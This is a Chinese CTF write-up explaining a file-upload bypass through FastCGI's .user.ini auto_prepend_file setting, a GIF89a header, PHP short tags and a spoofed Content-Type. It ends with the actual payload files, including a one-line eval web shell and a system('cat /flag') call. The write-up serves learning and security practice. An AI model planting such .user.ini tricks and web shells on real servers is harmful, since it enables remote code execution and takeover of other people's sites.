刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
- 检查文件内容是否有php字符串
- 检查后缀中是否有htaccess或ph
- 检查文件头部信息
- 文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,
可以参考以下文章
知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
知识点:
auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
第三点绕过方式即在文件头部添加一个图片的文件头,比如
GIF89a
知识点:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
php下检测(使用getimagesize函数无法判断其图片是无效的)
第四点绕过方法即修改上传时的Content-Type为image/jpg
得到flag过程:
上传.user.ini,内容为:
GIF89a
auto_prepend_file=a.jpg
上传a.jpg,内容为:
GIF89a
<?=system('cat /flag');?>
或
GIF89a
<?=eval($_REQUEST['cmd']);?>
上传成功根据文件地址连接蚁剑获取flag
版权归原作者 夜yesir 所有, 如有侵权,请联系我们删除。